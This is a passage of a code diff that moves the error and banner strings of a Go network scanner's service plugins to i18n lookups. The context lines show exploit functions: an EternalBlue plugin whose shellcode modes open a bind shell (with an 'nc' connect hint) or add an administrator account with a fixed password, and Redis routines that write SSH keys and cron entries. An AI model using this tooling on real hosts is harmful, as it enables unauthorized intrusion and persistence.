net.Conn) (*NetworkInfo, error) { // 发送第一个RPC请求 if _, err := conn.Write(rpcBuffer1); err != nil { - return nil, fmt.Errorf("发送RPC请求1失败: %w", err) + return nil, fmt.Errorf("%s: %w", i18n.GetText("findnet_rpc_request1_failed"), err) } // 读取响应 reply := make([]byte, 4096) if _, err := conn.Read(reply); err != nil { - return nil, fmt.Errorf("读取RPC响应1失败: %w", err) + return nil, fmt.Errorf("%s: %w", i18n.GetText("findnet_rpc_response1_failed"), err) } // 发送第二个RPC请求 if _, err := conn.Write(rpcBuffer2); err != nil { - return nil, fmt.Errorf("发送RPC请求2失败: %w", err) + return nil, fmt.Errorf("%s: %w", i18n.GetText("findnet_rpc_request2_failed"), err) } // 读取网络信息响应 n, err := conn.Read(reply) if err != nil || n < 42 { - return nil, fmt.Errorf("读取RPC响应2失败: %w", err) + return nil, fmt.Errorf("%s: %w", i18n.GetText("findnet_rpc_response2_failed"), err) } // 解析响应数据 diff --git a/plugins/services/ftp.go b/plugins/services/ftp.go index 0bce563..900ba3a 100644 --- a/plugins/services/ftp.go +++ b/plugins/services/ftp.go @@ -202,7 +202,7 @@ func (p *FTPPlugin) testAnonymousAccess(ctx context.Context, info *common.HostIn _ = result.Conn.Close() var output strings.Builder - output.WriteString(fmt.Sprintf("FTP %s 匿名访问 - %s:%s", target, cred.Username, cred.Password)) + output.WriteString(i18n.Tr("ftp_anonymous_access_detail", target, cred.Username, cred.Password)) if len(fileList) > 0 { for _, file := range fileList { output.WriteString(fmt.Sprintf("\n [->] %s", file)) @@ -216,7 +216,7 @@ func (p *FTPPlugin) testAnonymousAccess(ctx context.Context, info *common.HostIn Service: "ftp", Username: cred.Username, Password: cred.Password, - Banner: "FTP匿名访问", + Banner: i18n.GetText("ftp_anonymous_banner"), } } } diff --git a/plugins/services/kafka.go b/plugins/services/kafka.go index 2d9491e..daa9df3 100644 --- a/plugins/services/kafka.go +++ b/plugins/services/kafka.go @@ -254,7 +254,7 @@ func (p *KafkaPlugin) identifyService(ctx context.Context, info *common.HostInfo if err != nil { state.IncrementTCPFailedPacketCount() if p.isKafkaError(err) { - banner := "Kafka (需要认证)" + banner := i18n.GetText("kafka_auth_required") common.LogSuccess(i18n.Tr("kafka_service", target, banner)) return &ScanResult{Type: plugins.ResultTypeService, Success: true, Service: "kafka", Banner: banner} } diff --git a/plugins/services/ldap.go b/plugins/services/ldap.go index 21abffe..528d9d9 100644 --- a/plugins/services/ldap.go +++ b/plugins/services/ldap.go @@ -102,7 +102,7 @@ func (p *LDAPPlugin) doLDAPAuth(ctx context.Context, info *common.HostInfo, cred return &AuthResult{ Success: false, ErrorType: ErrorTypeAuth, - Error: fmt.Errorf("所有DN格式都失败"), + Error: fmt.Errorf("%s", i18n.GetText("ldap_all_dn_failed")), } } diff --git a/plugins/services/memcached.go b/plugins/services/memcached.go index 9fd5f02..6133a68 100644 --- a/plugins/services/memcached.go +++ b/plugins/services/memcached.go @@ -42,7 +42,7 @@ func (p *MemcachedPlugin) Scan(ctx context.Context, info *common.HostInfo, sessi return &ScanResult{ Success: false, Service: "memcached", - Error: fmt.Errorf("无法访问Memcached服务"), + Error: fmt.Errorf("%s", i18n.GetText("memcached_access_failed")), } } @@ -121,7 +121,7 @@ func (p *MemcachedPlugin) identifyService(ctx context.Context, info *common.Host return &ScanResult{ Success: false, Service: "memcached", - Error: fmt.Errorf("无法连接到Memcached服务"), + Error: fmt.Errorf("%s", i18n.GetText("memcached_connect_failed")), } } defer func() { _ = conn.Close() }() diff --git a/plugins/services/mongodb.go b/plugins/services/mongodb.go index 58e1cec..7461300 100644 --- a/plugins/services/mongodb.go +++ b/plugins/services/mongodb.go @@ -49,7 +49,7 @@ func (p *MongoDBPlugin) Scan(ctx context.Context, info *common.HostInfo, session Type: plugins.ResultTypeVuln, Success: true, Service: "mongodb", - VulInfo: "未授权访问", + VulInfo: i18n.GetText("unauthorized_access"), } } @@ -148,9 +148,9 @@ func (p *MongoDBPlugin) doMongoDBAuth(ctx context.Context, info *common.HostInfo // ── MongoDB wire protocol 工具 ────────────────────────────────── const ( - opMsg uint32 = 2013 - opQuery uint32 = 2004 - opReply uint32 = 1 + opMsg uint32 = 2013 + opQuery uint32 = 2004 + opReply uint32 = 1 ) var mongoRequestID uint32 @@ -376,11 +376,11 @@ func (p *MongoDBPlugin) identifyService(ctx context.Context, info *common.HostIn if isUnauth { common.LogVuln(i18n.Tr("mongodb_unauth", target)) - return &ScanResult{Type: plugins.ResultTypeVuln, Success: true, Service: "mongodb", VulInfo: "未授权访问"} + return &ScanResult{Type: plugins.ResultTypeVuln, Success: true, Service: "mongodb", VulInfo: i18n.GetText("unauthorized_access")} } common.LogSuccess(i18n.Tr("mongodb_auth_required", target)) - return &ScanResult{Type: plugins.ResultTypeService, Success: true, Service: "mongodb", Banner: "需要认证"} + return &ScanResult{Type: plugins.ResultTypeService, Success: true, Service: "mongodb", Banner: i18n.GetText("auth_required")} } func (p *MongoDBPlugin) mongodbUnauth(ctx context.Context, info *common.HostInfo, session *common.ScanSession) (bool, error) { @@ -439,7 +439,7 @@ func (p *MongoDBPlugin) checkMongoAuth(ctx context.Context, address string, pack } if count == 0 { - return "", fmt.Errorf("收到空响应") + return "", fmt.Errorf("%s", i18n.GetText("empty_response_received")) } return string(reply[:count]), nil diff --git a/plugins/services/ms17010.go b/plugins/services/ms17010.go index 7bba523..920d3c0 100644 --- a/plugins/services/ms17010.go +++ b/plugins/services/ms17010.go @@ -43,7 +43,7 @@ func (p *MS17010Plugin) Scan(ctx context.Context, info *common.HostInfo, session return &ScanResult{ Success: false, Service: "ms17010", - Error: fmt.Errorf("MS17010漏洞检测仅支持445端口"), + Error: fmt.Errorf("%s", i18n.GetText("ms17010_port_only")), } } @@ -71,14 +71,14 @@ func (p *MS17010Plugin) Scan(ctx context.Context, info *common.HostInfo, session Success: true, Type: plugins.ResultTypeVuln, Service: "ms17010", - Banner: fmt.Sprintf("MS17-010漏洞 (%s)", osVersion), + Banner: i18n.Tr("ms17010_vuln_banner", osVersion), } } return &ScanResult{ Success: false, Service: "ms17010", - Error: fmt.Errorf("目标不存在MS17-010漏洞"), + Error: fmt.Errorf("%s", i18n.GetText("ms17010_not_vulnerable")), } } @@ -89,12 +89,12 @@ func (p *MS17010Plugin) Exploit(ctx context.Context, info *common.HostInfo, cred common.LogSuccess(i18n.Tr("ms17010_start", target)) var output strings.Builder - output.WriteString(fmt.Sprintf("=== MS17-010漏洞利用结果 - %s ===\n", target)) + output.WriteString(i18n.Tr("ms17010_exploit_header", target) + "\n") // 首先确认漏洞存在 vulnerable, osVersion, hasBackdoor, err := p.checkMS17010Vulnerability(ctx, info.Host, session) if err != nil { - output.WriteString(fmt.Sprintf("\n[漏洞检测失败] %v\n", err)) + output.WriteString("\n" + i18n.Tr("ms17010_exploit_check_failed", err) + "\n") return &ExploitResult{ Success: false, Output: output.String(), @@ -103,58 +103,58 @@ func (p *MS17010Plugin) Exploit(ctx context.Context, info *common.HostInfo, cred } if !vulnerable { - output.WriteString("\n[漏洞状态] 目标不存在MS17-010漏洞\n") + output.WriteString("\n" + i18n.GetText("ms17010_exploit_not_vulnerable") + "\n") return &ExploitResult{ Success: false, Output: output.String(), - Error: fmt.Errorf("目标不存在MS17-010漏洞"), + Error: fmt.Errorf("%s", i18n.GetText("ms17010_not_vulnerable")), } } - output.WriteString("\n[漏洞确认] ✅ MS17-010漏洞存在\n") + output.WriteString("\n" + i18n.GetText("ms17010_exploit_confirmed") + "\n") if osVersion != "" { - output.WriteString(fmt.Sprintf("[操作系统] %s\n", osVersion)) + output.WriteString(i18n.Tr("ms17010_exploit_os", osVersion) + "\n") } if hasBackdoor { - output.WriteString("\n[后门检测] ⚠️ 发现DOUBLEPULSAR后门\n") + output.WriteString("\n" + i18n.GetText("ms17010_exploit_backdoor_found") + "\n") } else { - output.WriteString("\n[后门检测] 未发现DOUBLEPULSAR后门\n") + output.WriteString("\n" + i18n.GetText("ms17010_exploit_backdoor_not_found") + "\n") } // 如果有Shellcode配置,执行实际利用 if config.Shellcode != "" { - output.WriteString(fmt.Sprintf("\n[利用模式] %s\n", config.Shellcode)) - output.WriteString("[利用状态] 开始执行EternalBlue攻击...\n") + output.WriteString("\n" + i18n.Tr("ms17010_exploit_mode", config.Shellcode) + "\n") + output.WriteString(i18n.GetText("ms17010_exploit_start_attack") + "\n") // 执行实际的MS17010利用 err = p.executeMS17010Exploit(info, session) if err != nil { - output.WriteString(fmt.Sprintf("[利用结果] ❌ 利用失败: %v\n", err)) + output.WriteString(i18n.Tr("ms17010_exploit_failed", err) + "\n") return &ExploitResult{ Success: false, Output: output.String(), Error: err, } } - output.WriteString("[利用结果] ✅ 漏洞利用成功完成\n") + output.WriteString(i18n.GetText("ms17010_exploit_success") + "\n") // 根据不同类型提供后续操作建议 switch config.Shellcode { case "bind": - output.WriteString("\n[连接建议] 使用以下命令连接Bind Shell:\n") + output.WriteString("\n" + i18n.GetText("ms17010_exploit_bind_hint") + "\n") output.WriteString(fmt.Sprintf(" nc %s 64531\n", info.Host)) case "add": - output.WriteString("\n[访问建议] 已添加管理员账户,可以通过以下方式连接:\n") - output.WriteString(" 用户名: sysadmin 密码: 1qaz@WSX!@#4\n") + output.WriteString("\n" + i18n.GetText("ms17010_exploit_add_hint") + "\n") + output.WriteString(i18n.GetText("ms17010_exploit_add_credential") + "\n") output.WriteString(fmt.Sprintf(" RDP: mstsc /v:%s\n", info.Host)) case "guest": - output.WriteString("\n[访问建议] 已激活Guest账户,可以直接远程连接\n") + output.WriteString("\n" + i18n.GetText("ms17010_exploit_guest_hint") + "\n") } } else { - output.WriteString("\n[利用模式] 仅检测模式 (未配置Shellcode)\n") - output.WriteString("[建议] 可使用 -sc 参数配置Shellcode进行实际利用\n") - output.WriteString(" 支持的模式: bind, add, guest 或自定义shellcode\n") + output.WriteString("\n" + i18n.GetText("ms17010_exploit_detect_only") + "\n") + output.WriteString(i18n.GetText("ms17010_exploit_shellcode_hint") + "\n") + output.WriteString(i18n.GetText("ms17010_exploit_supported_modes") + "\n") } common.LogSuccess(i18n.Tr("ms17010_complete", target)) @@ -171,17 +171,17 @@ func (p *MS17010Plugin) Exploit(ctx context.Context, info *common.HostInfo, cred func aesDecrypt(crypted string, key string) (string, error) { cryptedBytes, err := base64.StdEncoding.DecodeString(crypted) if err != nil { - return "", fmt.Errorf("base64解码失败: %w", err) + return "", fmt.Errorf("%s: %w", i18n.GetText("ms17010_base64_decode_failed"), err) } keyBytes := []byte(key) block, err := aes.NewCipher(keyBytes) if err != nil { - return "", fmt.Errorf("创建AES密码块失败: %w", err) + return "", fmt.Errorf("%s: %w", i18n.GetText("ms17010_aes_cipher_failed"), err) } if len(cryptedBytes) < aes.BlockSize { - return "", fmt.Errorf("密文长度过短") + return "", fmt.Errorf("%s", i18n.GetText("ms17010_ciphertext_too_short")) } mode := cipher.NewCBCDecrypter(block, keyBytes[:aes.BlockSize]) @@ -190,12 +190,12 @@ func aesDecrypt(crypted string, key string) (string, error) { // 移除PKCS7填充 padding := int(cryptedBytes[len(cryptedBytes)-1]) if padding > len(cryptedBytes) || padding > aes.BlockSize { - return "", fmt.Errorf("无效的填充") + return "", fmt.Errorf("%s", i18n.GetText("ms17010_invalid_padding")) } for i := len(cryptedBytes) - padding; i < len(cryptedBytes); i++ { if cryptedBytes[i] != byte(padding) { - return "", fmt.Errorf("填充验证失败") + return "", fmt.Errorf("%s", i18n.GetText("ms17010_padding_check_failed")) } } @@ -293,42 +293,42 @@ func (p *MS17010Plugin) checkMS17010Vulnerability(ctx context.Context, ip string func (p *MS17010Plugin) checkMS17010VulnerabilityAt(ctx context.Context, address string, session *common.ScanSession) (bool, string, bool, error) { conn, err := session.DialTCP(ctx, "tcp", address, session.Config.Timeout) if err != nil { - return false, "", false, fmt.Errorf("连接错误: %w", err) + return false, "", false, fmt.Errorf("%s: %w", i18n.GetText("ms17010_connection_error"), err) } defer func() { _ = conn.Close() }() if err = conn.SetDeadline(time.Now().Add(session.Config.Timeout)); err != nil { - return false, "", false, fmt.Errorf("设置超时错误: %w", err) + return false, "", false, fmt.Errorf("%s: %w", i18n.GetText("ms17010_set_timeout_error"), err) } // SMB协议协商 if _, err = conn.Write(negotiateProtocolRequest); err != nil { - return false, "", false, fmt.Errorf("发送协议请求错误: %w", err) + return false, "", false, fmt.Errorf("%s: %w", i18n.GetText("ms17010_send_protocol_error"), err) } reply := make([]byte, 1024) n, readErr := conn.Read(reply) if readErr != nil || n < 36 { // 连接被关闭或响应不完整,通常表示目标不支持SMBv1 - return false, "", false, fmt.Errorf("目标可能不支持SMBv1") + return false, "", false, fmt.Errorf("%s", i18n.GetText("ms17010_smbv1_unsupported")) } if binary.LittleEndian.Uint32(reply[9:13]) != 0 { - return false, "", false, fmt.Errorf("SMBv1协议协商被拒绝") + return false, "", false, fmt.Errorf("%s", i18n.GetText("ms17010_smbv1_rejected")) } // 建立会话 if _, err = conn.Write(sessionSetupRequest); err != nil { - return false, "", false, fmt.Errorf("发送会话请求错误: %w", err) + return false, "", false, fmt.Errorf("%s: %w", i18n.GetText("ms17010_send_session_error"), err) } n, readErr = conn.Read(reply) if readErr != nil || n < 36 { - return false, "", false, fmt.Errorf("SMB会话建立失败") + return false, "", false, fmt.Errorf("%s", i18n.GetText("ms17010_session_failed")) } if binary.LittleEndian.Uint32(reply[9:13]) != 0 { - return false, "", false, fmt.Errorf("SMB会话被拒绝") + return false, "", false, fmt.Errorf("%s", i18n.GetText("ms17010_session_rejected")) } // 提取系统信息 @@ -354,15 +354,15 @@ func (p *MS17010Plugin) checkMS17010VulnerabilityAt(ctx context.Context, address treeConnect[33] = userID[1] if _, err = conn.Write(treeConnect); err != nil { - return false, osVersion, false, fmt.Errorf("发送树连接请求错误: %w", err) + return false, osVersion, false, fmt.Errorf("%s: %w", i18n.GetText("ms17010_send_tree_error"), err) } n, readErr = conn.Read(reply) if readErr != nil || n < 36 { if readErr != nil { - return false, osVersion, false, fmt.Errorf("读取树连接响应错误: %w", readErr) + return false, osVersion, false, fmt.Errorf("%s: %w", i18n.GetText("ms17010_read_tree_error"), readErr) } - return false, osVersion, false, fmt.Errorf("树连接响应不完整") + return false, osVersion, false, fmt.Errorf("%s", i18n.GetText("ms17010_tree_response_incomplete")) } // 命名管道请求 @@ -374,15 +374,15 @@ func (p *MS17010Plugin) checkMS17010VulnerabilityAt(ctx context.Context, address transNamedPipe[33] = userID[1] if _, err = conn.Write(transNamedPipe); err != nil { - return false, osVersion, false, fmt.Errorf("发送管道请求错误: %w", err) + return false, osVersion, false, fmt.Errorf("%s: %w", i18n.GetText("ms17010_send_pipe_error"), err) } n, readErr = conn.Read(reply) if readErr != nil || n < 36 { if readErr != nil { - return false, osVersion, false, fmt.Errorf("读取管道响应错误: %w", readErr) + return false, osVersion, false, fmt.Errorf("%s: %w", i18n.GetText("ms17010_read_pipe_error"), readErr) } - return false, osVersion, false, fmt.Errorf("管道响应不完整") + return false, osVersion, false, fmt.Errorf("%s", i18n.GetText("ms17010_pipe_response_incomplete")) } // 漏洞检测 - 关键检查点 @@ -420,7 +420,7 @@ func (p *MS17010Plugin) executeMS17010Exploit(info *common.HostInfo, session *co var err error sc, err = aesDecrypt(scEnc, defaultKey) if err != nil { - return fmt.Errorf("解密bind shellcode失败: %w", err) + return fmt.Errorf("%s: %w", i18n.GetText("ms17010_bind_shellcode_decrypt_failed"), err) } case "add": @@ -429,7 +429,7 @@ func (p *MS17010Plugin) executeMS17010Exploit(info *common.HostInfo, session *co var err error sc, err = aesDecrypt(scEnc, defaultKey) if err != nil { - return fmt.Errorf("解密add shellcode失败: %w", err) + return fmt.Errorf("%s: %w", i18n.GetText("ms17010_add_shellcode_decrypt_failed"), err) } case "guest": @@ -438,7 +438,7 @@ func (p *MS17010Plugin) executeMS17010Exploit(info *common.HostInfo, session *co var err error sc, err = aesDecrypt(scEnc, defaultKey) if err != nil { - return fmt.Errorf("解密guest shellcode失败: %w", err) + return fmt.Errorf("%s: %w", i18n.GetText("ms17010_guest_shellcode_decrypt_failed"), err) } case "cs": @@ -450,7 +450,7 @@ func (p *MS17010Plugin) executeMS17010Exploit(info *common.HostInfo, session *co if strings.Contains(shellcode, "file:") { read, err := os.ReadFile(shellcode[5:]) if err != nil { - return fmt.Errorf("读取Shellcode文件失败: %w", err) + return fmt.Errorf("%s: %w", i18n.GetText("ms17010_shellcode_file_read_failed"), err) } sc = fmt.Sprintf("%x", read) } else { @@ -460,13 +460,13 @@ func (p *MS17010Plugin) executeMS17010Exploit(info *common.HostInfo, session *co // 验证shellcode有效性 if len(sc) < 20 { - return fmt.Errorf("无效的Shellcode") + return fmt.Errorf("%s", i18n.GetText("ms17010_invalid_shellcode")) } // 解码shellcode scBytes, err := hex.DecodeString(sc) if err != nil { - return fmt.Errorf("shellcode解码失败: %w", err) + return fmt.Errorf("%s: %w", i18n.GetText("ms17010_shellcode_decode_failed"), err) } if err = eternalBlue(net.JoinHostPort(info.Host, "445"), 12, 12, scBytes); err != nil { diff --git a/plugins/services/neo4j.go b/plugins/services/neo4j.go index 9b0c1f0..fcf7e64 100644 --- a/plugins/services/neo4j.go +++ b/plugins/services/neo4j.go @@ -117,7 +117,7 @@ func (p *Neo4jPlugin) doNeo4jAuth(ctx context.Context, info *common.HostInfo, cr return &AuthResult{ Success: false, ErrorType: ErrorTypeUnknown, - Error: fmt.Errorf("未知错误,状态码: %d", resp.StatusCode), + Error: fmt.Errorf(i18n.GetText("unknown_status_code")+": %d", resp.StatusCode), } } diff --git a/plugins/services/netbios.go b/plugins/services/netbios.go index 3165acb..f83fd65 100644 --- a/plugins/services/netbios.go +++ b/plugins/services/netbios.go @@ -11,6 +11,7 @@ import ( "time" "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/common/i18n" "github.com/shadow1ng/fscan/plugins" ) @@ -39,7 +40,7 @@ func (p *NetBIOSPlugin) Scan(ctx context.Context, info *common.HostInfo, session return &ScanResult{ Success: false, Service: "netbios", - Error: fmt.Errorf("NetBIOS插件仅支持137和139端口"), + Error: fmt.Errorf("%s", i18n.GetText("netbios_port_only")), } } @@ -66,7 +67,7 @@ func (p *NetBIOSPlugin) Scan(ctx context.Context, info *common.HostInfo, session return &ScanResult{ Success: false, Service: "netbios", - Error: fmt.Errorf("未发现有效的NetBIOS信息"), + Error: fmt.Errorf("%s", i18n.GetText("netbios_info_not_found")), } } @@ -79,7 +80,7 @@ func (p *NetBIOSPlugin) Scan(ctx context.Context, info *common.HostInfo, session return &ScanResult{ Success: true, - Type: plugins.ResultTypeService, + Type: plugins.ResultTypeService, Service: "netbios", Banner: netbiosInfo.Summary(), } @@ -164,7 +165,7 @@ func (p *NetBIOSPlugin) queryNetBIOSNames(host string, config *common.Config, st conn, err := net.DialTimeout("udp", target, config.Timeout) if err != nil { - return nil, fmt.Errorf("连接NetBIOS名称服务失败: %w", err) + return nil, fmt.Errorf("%s: %w", i18n.GetText("netbios_name_connect_failed"), err) } state.IncrementUDPPacketCount() defer func() { _ = conn.Close() }() @@ -173,13 +174,13 @@ func (p *NetBIOSPlugin) queryNetBIOSNames(host string, config *common.Config, st _, err = conn.Write(queryPacket) if err != nil { - return nil, fmt.Errorf("发送NetBIOS查询失败: %w", err) + return nil, fmt.Errorf("%s: %w", i18n.GetText("netbios_query_send_failed"), err) } response := make([]byte, 1024) n, err := conn.Read(response) if err != nil { - return nil, fmt.Errorf("读取NetBIOS响应失败: %w", err) + return nil, fmt.Errorf("%s: %w", i18n.GetText("netbios_response_read_failed"), err) } return p.parseNetBIOSNames(response[:n]) @@ -191,7 +192,7 @@ func (p *NetBIOSPlugin) queryNetBIOSSession(ctx context.Context, host string, se conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout) if err != nil { - return nil, fmt.Errorf("连接NetBIOS会话服务失败: %w", err) + return nil, fmt.Errorf("%s: %w", i18n.GetText("netbios_session_connect_failed"), err) } defer func() { _ = conn.Close() }() @@ -212,13 +213,13 @@ func (p *NetBIOSPlugin) queryNetBIOSSession(ctx context.Context, host string, se _, err = conn.Write(smbNegotiate1) if err != nil { - return nil, fmt.Errorf("发送SMB协商1失败: %w", err) + return nil, fmt.Errorf("%s: %w", i18n.GetText("netbios_smb_negotiate_send_failed"), err) } response1 := make([]byte, 1024) _, err = conn.Read(response1) if err != nil { - return nil, fmt.Errorf("读取SMB协商1响应失败: %w", err) + return nil, fmt.Errorf("%s: %w", i18n.GetText("netbios_smb_negotiate_read_failed"), err) } // 发送Session Setup请求 @@ -244,13 +245,13 @@ func (p *NetBIOSPlugin) queryNetBIOSSession(ctx context.Context, host string, se _, err = conn.Write(smbSessionSetup) if err != nil { - return nil, fmt.Errorf("发送SMB Session Setup失败: %w", err) + return nil, fmt.Errorf("%s: %w", i18n.GetText("netbios_smb_session_send_failed"), err) } response2 := make([]byte, 2048) n, err := conn.Read(response2) if err != nil { - return nil, fmt.Errorf("读取SMB Session Setup响应失败: %w", err) + return nil, fmt.Errorf("%s: %w", i18n.GetText("netbios_smb_session_read_failed"), err) } return p.parseNetBIOSSession(response2[:n]) @@ -261,13 +262,13 @@ func (p *NetBIOSPlugin) parseNetBIOSNames(data []byte) (*NetBIOSInfo, error) { info := &NetBIOSInfo{Valid: false} if len(data) < 57 { - return info, fmt.Errorf("NetBIOS响应数据过短") + return info, fmt.Errorf("%s", i18n.GetText("netbios_response_too_short")) } // 获取名称记录数量 numNames := int(data[56]) if numNames == 0 { - return info, fmt.Errorf("没有NetBIOS名称记录") + return info, fmt.Errorf("%s", i18n.GetText("netbios_no_name_records")) } nameData := data[57:] @@ -333,7 +334,7 @@ func (p *NetBIOSPlugin) parseNetBIOSSession(data []byte) (*NetBIOSInfo, error) { info := &NetBIOSInfo{Valid: false} if len(data) < 47 { - return info, fmt.Errorf("SMB响应数据过短") + return info, fmt.Errorf("%s", i18n.GetText("netbios_smb_response_too_short")) } info.Valid = true diff --git a/plugins/services/oracle.go b/plugins/services/oracle.go index 09ababa..4c53f01 100644 --- a/plugins/services/oracle.go +++ b/plugins/services/oracle.go @@ -101,7 +101,7 @@ func (p *OraclePlugin) doOracleAuth(ctx context.Context, info *common.HostInfo, return &AuthResult{ Success: false, ErrorType: ErrorTypeNetwork, - Error: fmt.Errorf("无法连接到Oracle数据库"), + Error: fmt.Errorf("%s", i18n.GetText("oracle_connect_failed")), } } @@ -155,7 +155,7 @@ func (p *OraclePlugin) testUnauthorizedAccess(ctx context.Context, info *common. Service: "oracle", Username: cred.Username, Password: cred.Password, - Banner: "未授权访问 - 默认账户", + Banner: i18n.GetText("oracle_default_account_banner"), } } } diff --git a/plugins/services/postgresql.go b/plugins/services/postgresql.go index a9f3657..259d317 100644 --- a/plugins/services/postgresql.go +++ b/plugins/services/postgresql.go @@ -184,11 +184,11 @@ func (p *PostgreSQLPlugin) testUnauthorizedAccess(ctx context.Context, info *com Type: plugins.ResultTypeVuln, Success: true, Service: "postgresql", - VulInfo: "未授权访问(trust认证)", + VulInfo: i18n.GetText("postgresql_trust_unauth"), } } - vulInfo := fmt.Sprintf("未授权访问(trust认证) - %s", version) + vulInfo := i18n.Tr("postgresql_trust_unauth_version", version) if len(vulInfo) > 100 { vulInfo = vulInfo[:100] + "..." } diff --git a/plugins/services/rabbitmq.go b/plugins/services/rabbitmq.go index 4a57de1..e75c77d 100644 --- a/plugins/services/rabbitmq.go +++ b/plugins/services/rabbitmq.go @@ -126,7 +126,7 @@ func (p *RabbitMQPlugin) doRabbitMQAuth(ctx context.Context, info *common.HostIn return &AuthResult{ Success: false, ErrorType: ErrorTypeUnknown, - Error: fmt.Errorf("意外响应状态码: %d", resp.StatusCode), + Error: fmt.Errorf(i18n.GetText("unexpected_status_code")+": %d", resp.StatusCode), } } @@ -198,7 +198,7 @@ func (p *RabbitMQPlugin) testUnauthorizedAccess(ctx context.Context, info *commo Type: plugins.ResultTypeVuln, Success: true, Service: "rabbitmq", - Banner: "未授权访问 - guest默认密码", + Banner: i18n.GetText("rabbitmq_guest_default_password"), } } } diff --git a/plugins/services/rdp.go b/plugins/services/rdp.go index 1a09119..11daa0a 100644 --- a/plugins/services/rdp.go +++ b/plugins/services/rdp.go @@ -75,7 +75,7 @@ func (p *RDPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co common.LogSuccess(i18n.Tr("rdp_service", target, banner)) return &ScanResult{ Success: true, - Type: plugins.ResultTypeService, + Type: plugins.ResultTypeService, Service: "rdp", Banner: banner, } @@ -130,7 +130,7 @@ func (p *RDPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co return &ScanResult{ Success: true, - Type: plugins.ResultTypeCredential, + Type: plugins.ResultTypeCredential, Service: "rdp", Username: cred.Username, Password: cred.Password, @@ -144,7 +144,7 @@ func (p *RDPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co return &ScanResult{ Success: false, Service: "rdp", - Error: fmt.Errorf("RDP端口未开放"), + Error: fmt.Errorf("%s", i18n.GetText("rdp_port_closed")), } } } @@ -242,7 +242,7 @@ func (p *RDPPlugin) logOSInfo(target string, osInfo map[string]any) { // buildBanner 构建服务识别Banner func (p *RDPPlugin) buildBanner(osInfo map[string]any) string { if len(osInfo) == 0 { - return "RDP远程桌面服务" + return i18n.GetText("rdp_remote_desktop_service") } osVersion := p.extractStringField(osInfo, "OsVerion") @@ -256,7 +256,7 @@ func (p *RDPPlugin) buildBanner(osInfo map[string]any) string { return fmt.Sprintf("RDP (Hostname:%s)", hostname) } - return "RDP远程桌面服务" + return i18n.GetText("rdp_remote_desktop_service") } // extractStringField 安全提取字符串字段 diff --git a/plugins/services/redis.go b/plugins/services/redis.go index 7ae5836..ff3b6db 100644 --- a/plugins/services/redis.go +++ b/plugins/services/redis.go @@ -170,7 +170,7 @@ func (p *RedisPlugin) doRedisAuth(ctx context.Context, info *common.HostInfo, cr return &AuthResult{ Success: false, ErrorType: ErrorTypeUnknown, - Error: fmt.Errorf("redis PING测试失败: %s", strings.TrimSpace(responseStr)), + Error: fmt.Errorf("%s", i18n.Tr("redis_ping_failed", strings.TrimSpace(responseStr))), } } @@ -212,7 +212,7 @@ func (p *RedisPlugin) testUnauthorizedAccess(ctx context.Context, info *common.H Type: plugins.ResultTypeVuln, Success: true, Service: "redis", - VulInfo: "未授权访问", + VulInfo: i18n.GetText("unauthorized_access"), } } @@ -288,13 +288,13 @@ func (p *RedisPlugin) identifyService(ctx context.Context, info *common.HostInfo var banner string if strings.Contains(responseStr, "PONG") { - banner = "Redis服务 (PONG响应)" + banner = i18n.GetText("redis_service_pong") } else if strings.Contains(responseStr, "-NOAUTH") { - banner = "Redis服务 (需要认证)" + banner = i18n.GetText("redis_service_auth_required") } else if strings.Contains(responseStr, "-ERR") { - banner = "Redis服务 (协议响应)" + banner = i18n.GetText("redis_service_protocol_response") } else { - banner = "Redis服务" + banner = i18n.GetText("redis_service_plain") } common.LogSuccess(i18n.Tr("redis_service_identified", target, banner)) //nolint:govet @@ -552,10 +552,10 @@ func (p *RedisPlugin) writeKey(conn net.Conn, filename string) (flag bool, text // 读取密钥文件 key, err := p.readFile(filename) if err != nil { - return false, fmt.Sprintf("读取密钥文件 %s 失败: %v", filename, err), err + return false, i18n.Tr("redis_key_file_read_failed", filename, err), err } if len(key) == 0 { - return false, fmt.Sprintf("密钥文件 %s 为空", filename), nil + return false, i18n.Tr("redis_key_file_empty", filename), nil } // 写入密钥 @@ -596,7 +596,7 @@ func (p *RedisPlugin) writeCron(conn net.Conn, host string) (flag bool, text str // 解析目标地址 target := strings.Split(host, ":") if len(target) < 2 { - return false, "主机地址格式错误", nil + return false, i18n.GetText("redis_host_format_invalid"), nil } scanIp, scanPort := target[0], target[1] diff --git a/plugins/services/rsync.go b/plugins/services/rsync.go index c2f1abf..95c0ce3 100644 --- a/plugins/services/rsync.go +++ b/plugins/services/rsync.go @@ -110,7 +110,7 @@ func (p *RsyncPlugin) doRsyncAuth(ctx context.Context, info *common.HostInfo, cr return &AuthResult{ Success: false, ErrorType: ErrorTypeNetwork, - Error: fmt.Errorf("无法连接到Rsync服务"), + Error: fmt.Errorf("%s", i18n.GetText("rsync_connect_failed")), } } modules := p.getModules(conn, session.Config) @@ -120,7 +120,7 @@ func (p *RsyncPlugin) doRsyncAuth(ctx context.Context, info *common.HostInfo, cr return &AuthResult{ Success: false, ErrorType: ErrorTypeUnknown, - Error: fmt.Errorf("无法获取模块列表"), + Error: fmt.Errorf("%s", i18n.GetText("rsync_modules_failed")), } } @@ -215,7 +215,7 @@ func (p *RsyncPlugin) testUnauthorizedAccess(ctx context.Context, info *common.H modules := p.getModules(conn, session.Config) if len(modules) > 0 { - banner := fmt.Sprintf("未授权访问 - 可用模块: %s", strings.Join(modules, ", ")) + banner := i18n.Tr("rsync_unauth_modules", strings.Join(modules, ", ")) return &ScanResult{ Success: true, Type: plugins.ResultTypeService, @@ -328,7 +328,7 @@ func (p *RsyncPlugin) identifyService(ctx context.Context, info *common.HostInfo return &ScanResult{ Success: false, Service: "rsync", - Error: fmt.Errorf("无法连接到Rsync服务"), + Error: fmt.Errorf("%s", i18n.GetText("rsync_connect_failed")), } } defer func() { _ = conn.Close() }() @@ -363,12 +363,12 @@ func (p *RsyncPlugin) identifyService(ctx context.Context, info *common.HostInfo lines := strings.Split(responseStr, "\n") for _, line := range lines { if strings.HasPrefix(line, "@RSYNCD:") { - banner = fmt.Sprintf("Rsync服务 (%s)", strings.TrimSpace(line)) + banner = i18n.Tr("rsync_service_info", strings.TrimSpace(line)) break } } if banner == "" { - banner = "Rsync文件同步服务" + banner = i18n.GetText("rsync_file_sync_service") } } else { return &ScanResult{ diff --git a/plugins/services/smb.go 